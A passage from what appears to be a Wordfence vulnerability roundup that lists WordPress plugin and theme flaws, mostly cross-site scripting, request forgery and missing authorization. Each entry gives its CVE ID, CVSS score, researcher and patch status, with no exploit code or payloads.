**Affected Software**: [Photo Gallery, Images, Slider in Rbs Image Gallery](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/robo-gallery>)
**CVE ID**: CVE-2023-27620
**CVSS Score**: 6.4 (Medium)
**Researcher/s**: [Rafshanzani Suhada](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/rafshanzani-suhada>)
**Patch Status**: Patched
**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/4e0424f8-f60f-49c3-9969-a88c830dc0e2>
* * *
#### [Ecwid Shopping Cart <= 6.11.4 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode](<https://wordfence.com/threat-intel/vulnerabilities/id/c8c530e2-ce42-40f3-82ab-1df9089a5407>)
**Affected Software**: [Ecwid Ecommerce Shopping Cart](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/ecwid-shopping-cart>)
**CVE ID**: CVE-2023-24408
**CVSS Score**: 6.4 (Medium)
**Researcher/s**: [Lana Codes](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/lana-codes>)
**Patch Status**: Patched
**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/c8c530e2-ce42-40f3-82ab-1df9089a5407>
* * *
#### [Embed Any Document – Embed PDF, Word, PowerPoint and Excel Files <= 2.7.1 - Authenticated (Author+) Stored Cross-Site Scripting via SVG files](<https://wordfence.com/threat-intel/vulnerabilities/id/eebe37bf-2983-47c0-afd8-0aa3e7982196>)
**Affected Software**: [Embed Any Document – Embed PDF, Word, PowerPoint and Excel Files](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/embed-any-document>)
**CVE ID**: CVE-2023-23707
**CVSS Score**: 6.4 (Medium)
**Researcher/s**: [n0paew](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/n0paew>)
**Patch Status**: Patched
**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/eebe37bf-2983-47c0-afd8-0aa3e7982196>
* * *
#### [WP Job Portal <= 1.1.9 - Authenticated (Subscriber+) Stored Cross-Site Scripting](<https://wordfence.com/threat-intel/vulnerabilities/id/f11ea6b2-1225-42a5-aa7b-260315d0bec5>)
**Affected Software**: [WP Job Portal – A Complete Job Board](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-job-portal>)
**CVE ID**: CVE-2023-28534
**CVSS Score**: 6.4 (Medium)
**Researcher/s**: [Fariq Fadillah Gusti Insani](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/fariq-fadillah-gusti-insani>)
**Patch Status**: Unpatched
**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/f11ea6b2-1225-42a5-aa7b-260315d0bec5>
* * *
#### [RapidLoad Power-Up for Autoptimize <= 1.7.1 - Cross-Site Request Forgery](<https://wordfence.com/threat-intel/vulnerabilities/id/8f9ee168-82b1-4d13-a84e-379f16dcb283>)
**Affected Software**: [RapidLoad Power-Up for Autoptimize](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/unusedcss>)
**CVE ID**: CVE-2023-1472
**CVSS Score**: 6.3 (Medium)
**Researcher/s**: [Marco Wotschka](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/marco-wotschka>)
**Patch Status**: Patched
**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/8f9ee168-82b1-4d13-a84e-379f16dcb283>
* * *
#### [SEO Plugin by Squirrly SEO <= 12.1.20 - Missing Authorization](<https://wordfence.com/threat-intel/vulnerabilities/id/9251afbb-1a6d-40c6-b62e-a8866742f669>)
**Affected Software**: [SEO Plugin by Squirrly SEO](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/squirrly-seo>)
**CVE ID**: CVE-2022-44626
**CVSS Score**: 6.3 (Medium)
**Researcher/s**: [Rafie Muhammad](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/rafie-muhammad>)
**Patch Status**: Patched
**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/9251afbb-1a6d-40c6-b62e-a8866742f669>
* * *
#### [Data Tables Generator by Supsystic <= 1.10.25 - Missing Authorization](<https://wordfence.com/threat-intel/vulnerabilities/id/ae98e3bd-f663-4609-92ed-ed0431047d85>)
**Affected Software**: [Data Tables Generator by Supsystic](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/data-tables-generator-by-supsystic>)
**CVE ID**: CVE-2023-25043
**CVSS Score**: 6.3 (Medium)
**Researcher/s**: [Rafshanzani Suhada](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/rafshanzani-suhada>)
**Patch Status**: Unpatched
**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/ae98e3bd-f663-4609-92ed-ed0431047d85>
* * *
#### [Open RDW kenteken voertuiginformatie <= 2.0.14 - Reflected Cross-Site Scripting via open_data_rdw_kenteken](<https://wordfence.com/threat-intel/vulnerabilities/id/1fa87357-09c0-4e99-8ceb-41a7987c4a57>)
**Affected Software**: [Open RDW kenteken voertuiginformatie](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/open-rdw-kenteken-voertuiginformatie>)
**CVE ID**: CVE-2022-47431
**CVSS Score**: 6.1 (Medium)
**Researcher/s**: [minhtuanact](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/minhtuanact>)
**Patch Status**: Patched
**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/1fa87357-09c0-4e99-8ceb-41a7987c4a57>
* * *
#### [Solidres <= 0.9.4 - Reflected Cross-Site Scripting](<https://wordfence.com/threat-intel/vulnerabilities/id/36d9e9cd-7885-4127-b62c-ee0b3aad8846>)
**Affected Software**: [Solidres – Hotel booking plugin for WordPress](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/solidres>)
**CVE ID**: CVE-2023-1377
**CVSS Score**: 6.1 (Medium)
**Researcher/s**: [Erwan LR](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/erwan>)
**Patch Status**: Unpatched
**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/36d9e9cd-7885-4127-b62c-ee0b3aad8846>
* * *
#### [SEO Plugin by Squirrly SEO <= 12.1.20 - Reflected Cross-Site Scripting via 'page' and 'tab'](<https://wordfence.com/threat-intel/vulnerabilities/id/3edce64d-13c2-454a-b5da-0454453f69cb>)
**Affected Software**: [SEO Plugin by Squirrly SEO](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/squirrly-seo>)
**CVE ID**: CVE-2022-45065
**CVSS Score**: 6.1 (Medium)
**Researcher/s**: [Rafie Muhammad](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/rafie-muhammad>)
**Patch Status**: Patched
**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/3edce64d-13c2-454a-b5da-0454453f69cb>
* * *
#### [WordPress Mortgage Calculator Estatik <= 2.0.7 - Reflected Cross-Site Scripting](<https://wordfence.com/threat-intel/vulnerabilities/id/5ce9dd21-3c89-4ddd-9022-f1edf1224e2d>)
**Affected Software**: [WordPress Mortgage Calculator Estatik](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/estatik-mortgage-calculator>)
**CVE ID**: CVE-2023-28490
**CVSS Score**: 6.1 (Medium)
**Researcher/s**: [minhtuanact](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/minhtuanact>)
**Patch Status**: Unpatched
**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/5ce9dd21-3c89-4ddd-9022-f1edf1224e2d>
* * *
#### [Drag and Drop Multiple File Upload PRO - Contact Form 7 Standard <= 2.11.0 - Reflected Cross-Site Scripting](<https://wordfence.com/threat-intel/vulnerabilities/id/60ae8b8f-bc65-40df-b6ae-4ec8e328dbe5>)
**Affected Software**: [Drag and Drop Multiple File Upload PRO - Contact Form 7 Standard](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/drag-n-drop-upload-cf7-pro>)
**CVE ID**: CVE Unknown
**CVSS Score**: 6.1 (Medium)
**Researcher/s**: Unknown
**Patch Status**: Patched
**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/60ae8b8f-bc65-40df-b6ae-4ec8e328dbe5>
* * *
#### [WPML <= 4.6.1 - Cross-Site Scripting](<https://wordfence.com/threat-intel/vulnerabilities/id/b5639c00-f34c-45e3-8ff1-dfde7856a80e>)
**Affected Software**: [wpml](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wpml>)
**CVE ID**: CVE Unknown
**CVSS Score**: 6.1 (Medium)
**Researcher/s**: Unknown
**Patch Status**: Patched
**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/b5639c00-f34c-45e3-8ff1-dfde7856a80e>
* * *
#### [Brilliance <= 1.3.1 - Reflected Cross-Site Scripting](<https://wordfence.com/threat-intel/vulnerabilities/id/e5726c70-c2c7-45b9-bd03-38cf1320646a>)
**Affected Software**: [Brilliance](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-themes/brilliance>)
**CVE ID**: CVE-2023-28171
**CVSS Score**: 6.1 (Medium)
**Researcher/s**: [Dave Jong](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/dave-jong>)
**Patch Status**: Unpatched
**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/e5726c70-c2c7-45b9-bd03-38cf1320646a>
* * *
#### [Mediciti Lite <= 1.3.0 - Reflected Cross-Site Scripting](<https://wordfence.com/threat-intel/vulnerabilities/id/ec2825b2-c8df-40fd-b44d-a840be66446f>)
**Affected Software**: [Mediciti Lite](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-themes/mediciti-lite>)
**CVE ID**: CVE-2023-28418
**CVSS Score**: 6.1 (Medium)
**Researcher/s**: [Dave Jong](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/dave-jong>)
**Patch Status**: Unpatched
**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/ec2825b2-c8df-40fd-b44d-a840be66446f>
* * *
#### [Dynamics 365 Integration <= 1.3.12 - Missing Authorization via wp_ajax_wpcrm_log & wp_ajax_wpcrm_log_verbosity](<https://wordfence.com/threat-intel/vulnerabilities/id/1671e437-09f0-46bc-87ef-3a5712c3dc98>)
**Affected Software**: [Dynamics 365 Integration](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/integration-dynamics>)
**CVE ID**: CVE-2023-28417
**CVSS Score**: 5.4 (Medium)
**Researcher/s**: [Lana Codes](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/lana-codes>)
**Patch Status**: Patched
**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/1671e437-09f0-46bc-87ef-3a5712c3dc98>
* * *
#### [Force First and Last Name as Display Name <= 1.2 - Cross-Site Request Forgery](<https://wordfence.com/threat-intel/vulnerabilities/id/27d579d5-a4d2-45f7-a7bb-8f384d851d7a>)
**Affected Software**: [Force First and Last Name as Display Name](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/force-first-last>)
**CVE ID**: CVE-2023-28419
**CVSS Score**: 5.4 (Medium)
**Researcher/s**: [Mika](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/mika>)
**Patch Status**: Patched
**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/27d579d5-a4d2-45f7-a7bb-8f384d851d7a>
* * *
#### [WP Google Map Plugin <= 4.4.2 - Cross-Site Request Forgery via delete()](<https://wordfence.com/threat-intel/vulnerabilities/id/71f58781-3fb3-4eba-8e5a-f98f006f4607>)
**Affected Software**: [WordPress Plugin for Google Maps – WP MAPS](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-google-map-plugin>)
**CVE ID**: CVE-2023-28172
**CVSS Score**: 5.4 (Medium)
**Researcher/s**: [Rafie Muhammad](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/rafie-muhammad>)
**Patch Status**: Patched
**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/71f58781-3fb3-4eba-8e5a-f98f006f4607>
* * *
#### [Redirect Redirection <= 1.1.4 - Cross-Site Request Forgery to Plugin De-Installation](<https://wordfence.com/threat-intel/vulnerabilities/id/7d500729-3b1a-4ece-81de-4c1f9afbf798>)
**Affected Software**: [Redirection](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/redirect-redirection>)
**CVE ID**: CVE Unknown
**CVSS Score**: 5.4 (Medium)
**Researcher/s**: Unknown
**Patch Status**: Patched
**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/7d500729-3b1a-4ece-81de-4c1f9afbf798>
* * *
#### [Regina Lite <= 2.0.7 - Reflected Cross-Site Scripting](<https://wordfence.com/threat-intel/vulnerabilities/id/7dcd3452-a340-44e5-b292-347dc69ab863>)
**Affected Software**: [Regina Lite](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-themes/regina-lite>)
**CVE ID**: CVE-2023-27619
**CVSS Score**: 5.4 (Medium)
**Researcher/s**: [Dave Jong](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/dave-jong>)
**Patch Status**: Unpatched
**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/7dcd3452-a340-44e5-b292-347dc69ab863>
* * *
#### [WooCommerce Weight Based Shipping <= 5.4.1 - Cross-Site Request Forgery leading to Plugin Settings Changes](<https://wordfence.com/threat-intel/vulnerabilities/id/b5086b8d-6c74-4970-9937-5ddc5b528495>)
**Affected Software**: [WooCommerce Weight Based Shipping](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/weight-based-shipping-for-woocommerce>)
**CVE ID**: CVE-2022-46794
**CVSS Score**: 5.4 (Medium)
**Researcher/s**: [Muhammad Daffa](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/muhammad-daffa>)
**Patch Status**: Unpatched
**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/b5086b8d-6c74-4970-9937-5ddc5b528495>
* * *
#### [Site Reviews <= 6.5.1 - Missing Authorization](<https://wordfence.com/threat-intel/vulnerabilities/id/d94f6cdd-8232-4e0c-b510-0e755c280b58>)
**Affected Software**: [Site Reviews](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/site-reviews>)
**CVE ID**: CVE-2023-27625
**CVSS Score**: 5.4 (Medium)
**Researcher/s**: [Rafshanzani Suhada](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/rafshanzani-suhada>)
**Patch Status**: Patched
**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/d94f6cdd-8232-4e0c-b510-0e755c280b58>
* * *
#### [Newsmag <= 2.4.4 - Reflected Cross-Site Scripting](<https://wordfence.com/threat-intel/vulnerabilities/id/debe6f54-0f56-4bc9-a0cd-4f2caa1ed9e3>)
**Affected Software**: [NewsMag](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-themes/newsmag>)
**CVE ID**: CVE-2023-28493
**CVSS Score**: 5.4 (Medium)
**Researcher/s**: [Brandon James Roldan](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/brandon-james-roldan>)
**Patch Status**: Unpatched
**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/debe6f54-0f56-4bc9-a0cd-4f2caa1ed9e3>
* * *
#### [WordPress Email Marketing Plugin – WP Email Capture <= 3.10 - Information Exposure via wp_email_capture_options_process](<https://wordfence.com/threat-intel/vulnerabilities/id/b4570948-1625-44b3-8af6-73765d9710ee>)
**Affected Software**: [WordPress Email Marketing Plugin – WP Email Capture](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-email-capture>)
**CVE ID**: CVE-2023-28421
**CVSS Score**: 5.3 (Medium)
**Researcher/s**: [Nguyen Anh Tien](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/nguyen-anh-tien>)
**Patch Status**: Patched
**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/b4570948-1625-44b3-8af6-73765d9710ee>
* * *
#### [Popup Maker <= 1.17.1 - Sensitive Data Exposure via debug log file](<https://wordfence.com/threat-intel/vulnerabilities/id/d0240b35-72d0-4943-84cd-5d1574609b36>)
**Affected Software**: [Popup Maker – Popup for opt-ins, lead gen, & more](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/popup-maker>)
**CVE ID**: CVE-2022-47597
**CVSS Score**: 5.3 (Medium)
**Researcher/s**: [rezaduty](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/rezaduty-1>)
**Patch Status**: Patched
**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/d0240b35-72d0-4943-84cd-5d1574609b36>
* * *
#### [Backup Bank: WordPress Backup Plugin <= 4.0.28 - Missing Authorization via post_user_feedback_backup_bank](<https://wordfence.com/threat-intel/vulnerabilities/id/e5ab6dcd-ef22-4fea-9e35-9358ede3ff5d>)
**Affected Software**: [Backup Bank: WordPress Backup Plugin](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-backup-bank>)
**CVE ID**: CVE-2023-28165
**CVSS Score**: 5.3 (Medium)
**Researcher/s**: [Lana Codes](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/lana-codes>)
**Patch Status**: Unpatched
**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/e5ab6dcd-ef22-4fea-9e35-9358ede3ff5d>
* * *
#### [WP Simple Shopping Cart <= 4.6.3 - Information Disclosure](<https://wordfence.com/threat-intel/vulnerabilities/id/ea4453bc-557b-4abf-85c6-4aecfd8f4012>)
**Affected Software**: [WordPress Simple Shopping Cart](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wordpress-simple-paypal-shopping-cart>)
**CVE ID**: CVE-2023-1431
**CVSS Score**: 5.3 (Medium)
**Researcher/s**: [Ayoub Safa](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/ayoub-safa>)
**Patch Status**: Patched
**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/ea4453bc-557b-4abf-85c6-4aecfd8f4012>
* * *
#### [WordPress Console <= 0.3.9 - Missing Authorization via reload.php](<https://wordfence.com/threat-intel/vulnerabilities/id/fd3cd605-6292-4a04-9aee-f4b9a8127e8e>)
**Affected Software**: [WordPress Console](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wordpress-console>)
**CVE ID**: CVE-2023-28168
**CVSS Score**: 5.3 (Medium)
**Researcher/s**: [Prasanna V Balaji](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/prasanna-v-balaji>)
**Patch Status**: Unpatched
**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/fd3cd605-6292-4a04-9aee-f4b9a8127e8e>
* * *
#### [PhonePe Payment Solutions <= 1.0.15 - Authenticated (Subscriber+) Server-Side Request Forgery](<https://wordfence.com/threat-intel/vulnerabilities/id/8f24f7e2-2516-4f4d-955f-f3f6001cbce7>)
**Affected Software**: [PhonePe Payment Solutions](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/phonepe-payment-solutions>)
**CVE ID**: CVE-2022-45835
**CVSS Score**: 5 (Medium)
**Researcher/s**: [Aman Rawat](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/aman-rawat>)
**Patch Status**: Patched
**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/8f24f7e2-2516-4f4d-955f-f3f6001cbce7>
* * *
#### [Auto Rename Media On Upload <= 1.0.5 - Authenticated (Administrator+) Stored Cross-Site Scripting](<https://wordfence.com/threat-intel/vulnerabilities/id/25a566ed-9ed6-4c72-9728-49a0edfb5ba5>)
**Affected Software**: [Auto Rename Media On Upload](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/auto-rename-media-on-upload>)
**CVE ID**: CVE Unknown
**CVSS Score**: 4.4 (Medium)
**Researcher/s**: Unknown
**Patch Status**: Patched
**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/25a566ed-9ed6-4c72-9728-49a0edfb5ba5>
* * *
#### [eCommerce Product Catalog plugin for WordPress <= 3.3.8 - Authenticated (Administrator+) Stored Cross-Site Scripting](<https://wordfence.com/threat-intel/vulnerabilities/id/26b7438e-438b-41eb-9458-2fba8ab1964d>)
**Affected Software**: [eCommerce Product Catalog Plugin for WordPress](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/ecommerce-product-catalog>)
**CVE ID**: CVE-2023-1470
**CVSS Score**: 4.4 (Medium)
**Researcher/s**: [Marco Wotschka](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/marco-wotschka>)
**Patch Status**: Patched
**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/26b7438e-438b-41eb-9458-2fba8ab1964d>
* * *
#### [WP Simple Events <= 1.0 - Authenticated (Administrator+) Stored Cross-Site Scripting](<https://wordfence.com/threat-intel/vulnerabilities/id/53de68ad-76a6-4043-8369-7679c1c5c1cd>)
**Affected Software**: [WP Simple Events](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-simple-events>)
**CVE ID**: CVE-2023-24376
**CVSS Score**: 4.4 (Medium)
**Researcher/s**: [Nithissh S](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/nithissh-s>)
**Patch Status**: Unpatched
**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/53de68ad-76a6-4043-8369-7679c1c5c1cd>
* * *
#### [Easy Event calendar <= 1.0 - Authenticated (Administrator+) Stored Cross-Site Scripting](<https://wordfence.com/threat-intel/vulnerabilities/id/57dda8e6-54d1-41db-a54d-4a5d635e23b7>)
**Affected Software**: [Easy Event calendar](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/easy-event-calendar>)
**CVE ID**: CVE-2023-28169
**CVSS Score**: 4.4 (Medium)
**Researcher/s**: [Nithissh S](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/nithissh-s>)
**Patch Status**: Unpatched
**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/57dda8e6-54d1-41db-a54d-4a5d635e23b7>
* * *
#### [Yandex.News Feed by Teplitsa <= 1.12.5 - Authenticated (Administrator+) Stored Cross-Site Scripting](<https://wordfence.com/threat-intel/vulnerabilities/id/756810c0-d805-4391-a67b-19b40597d219>)
**Affected Software**: [Yandex.News Feed by Teplitsa](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/yandexnews-feed-by-teplitsa>)
**CVE ID**: CVE-2023-25052
**CVSS Score**: 4.4 (Medium)
**Researcher/s**: [yuyudhn](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/yuyudhn>)
**Patch Status**: Unpatched
**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/756810c0-d805-4391-a67b-19b40597d219>
* * *
#### [SMTP2GO <= 1.4.2 - Authenticated (Administrator+) Stored Cross-Site Scripting via admin settings](<https://wordfence.com/threat-intel/vulnerabilities/id/7cc618c8-63a9-4321-ad18-ee5277a5f5e0>)
**Affected Software**: [SMTP2GO – Email Made Easy](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/smtp2go>)
**CVE ID**: CVE-2023-28496
**CVSS Score**: 4.4 (Medium)
**Researcher/s**: [Rio Darmawan](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/rio-darmawan>)
**Patch Status**: Patched
**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/7cc618c8-63a9-4321-ad18-ee5277a5f5e0>
* * *
#### [WSB Brands <= 1.1.8 - Authenticated (Administrator+) Stored Cross-Site Scripting via $logo](<https://wordfence.com/threat-intel/vulnerabilities/id/89321887-0116-47fb-b65b-008c9fb01b62>)
**Affected Software**: [WSB Brands](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wsb-brands>)
**CVE ID**: CVE-2022-47437
**CVSS Score**: 4.4 (Medium)
**Researcher/s**: [TEAM WEBoB of BoB 11th](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/team-webob-of-bob-11th>)
**Patch Status**: Patched
**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/89321887-0116-47fb-b65b-008c9fb01b62>
* * *
#### [PB SEO Friendly Images <= 4.0.5 - Authenticated (Administrator+) Stored Cross-Site Scripting](<https://wordfence.com/threat-intel/vulnerabilities/id/89fc8407-3d1f-4b1b-9b4c-13c0da928231>)
**Affected Software**: [PB SEO Friendly Images](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/pb-seo-friendly-images>)
**CVE ID**: CVE-2022-47434
**CVSS Score**: 4.4 (Medium)
**Researcher/s**: [Dimas Aprilianto](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/dimas-aprilianto>)
**Patch Status**: Unpatched
**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/89fc8407-3d1f-4b1b-9b4c-13c0da928231>
* * *
#### [CMS Press <= 0.2.3 - Authenticated (Administrator+) Stored Cross-Site Scripting](<https://wordfence.com/threat-intel/vulnerabilities/id/905cb57b-70ec-4324-ae66-9c06d1737939>)
**Affected Software**: [CMS Press](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/cms-press>)
**CVE ID**: CVE-2023-25452
**CVSS Score**: 4.4 (Medium)
**Researcher/s**: [Prasanna V Balaji](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/prasanna-v-balaji>)
**Patch Status**: Unpatched
**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/905cb57b-70ec-4324-ae66-9c06d1737939>
* * *
#### [Modern Footnotes <= 1.4.15 - Authenticated (Administrator+) Stored Cross-Site Scripting](<https://wordfence.com/threat-intel/vulnerabilities/id/94b98842-8c75-4623-8cc9-ad3dc0916a18>)
**Affected Software**: [Modern Footnotes](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/modern-footnotes>)
**CVE ID**: CVE-2023-28423
**CVSS Score**: 4.4 (Medium)
**Researcher/s**: [Rio Darmawan](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/rio-darmawan>)
**Patch Status**: Patched
**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/94b98842-8c75-4623-8cc9-ad3dc0916a18>
* * *
#### [Solidres <= 0.9.4 - Authenticated (Admin+) Stored Cross-Site Scripting](<https://wordfence.com/threat-intel/vulnerabilities/id/b13ee51b-9f23-428f-9cef-4a9b9b06b0c4>)
**Affected Software**: [Solidres – Hotel booking plugin for WordPress](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/solidres>)
**CVE ID**: CVE-2023-1374
**CVSS Score**: 4.4 (Medium)
**Researcher/s**: [Daniel Kelley](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/daniel-kelley>)
**Patch Status**: Unpatched
**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/b13ee51b-9f23-428f-9cef-4a9b9b06b0c4>
* * *
#### [WP Express Checkout <= 2.2.8 - Authenticated (Admin+) Stored Cross-Site Scripting via pec_coupon](<https://wordfence.com/threat-intel/vulnerabilities/id/b35ee801-f04d-4b22-8238-053b02a6ee0c>)
**Affected Software**: [WP Express Checkout (Accept PayPal Payments Easily)](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-express-checkout>)
**CVE ID**: CVE-2023-1469
**CVSS Score**: 4.4 (Medium)
**Researcher/s**: [Ayoub Safa](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/ayoub-safa>)
**Patch Status**: Patched
**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/b35ee801-f04d-4b22-8238-053b02a6ee0c>
* * *
#### [Branda – White Label WordPress <= 3.4.8.1 - Authenticated (Administrator+) Stored Cross-Site Scripting](<https://wordfence.com/threat-intel/vulnerabilities/id/c3508b46-6920-48b9-9acb-620ea34e07e2>)
**Affected Software**: [Branda – White Label WordPress, Custom Login Page Customizer](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/branda-white-labeling>)
**CVE ID**: CVE Unknown
**CVSS Score**: 4.4 (Medium)
**Researcher/s**: Unknown
**Patch Status**: Patched
**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/c3508b46-6920-48b9-9acb-620ea34e07e2>
* * *
#### [Klaviyo <= 3.0.7 - Authenticated (Administrator+) Stored Cross-Site Scripting](<https://wordfence.com/threat-intel/vulnerabilities/id/d2b66f27-e4d2-4f6e-be96-b7f967a30885>)
**Affected Software**: [Klaviyo](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/klaviyo>)
**CVE ID**: CVE-2023-25456
**CVSS Score**: 4.4 (Medium)
**Researcher/s**: [Abdi Pranata](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/abdi-pranata>)
**Patch Status**: Patched
**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/d2b66f27-e4d2-4f6e-be96-b7f967a30885>
* * *
#### [Modern Events Calendar lite <= 5.16.2 - Authenticated (Admin+) Stored Cross-Site Scripting](<https://wordfence.com/threat-intel/vulnerabilities/id/e7465ca4-21e8-4935-b294-e7378b2b01a7>)
**Affected Software**: [Modern Events Calendar Lite](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/modern-events-calendar-lite>)
**CVE ID**: CVE-2023-1400
**CVSS Score**: 4.4 (Medium)
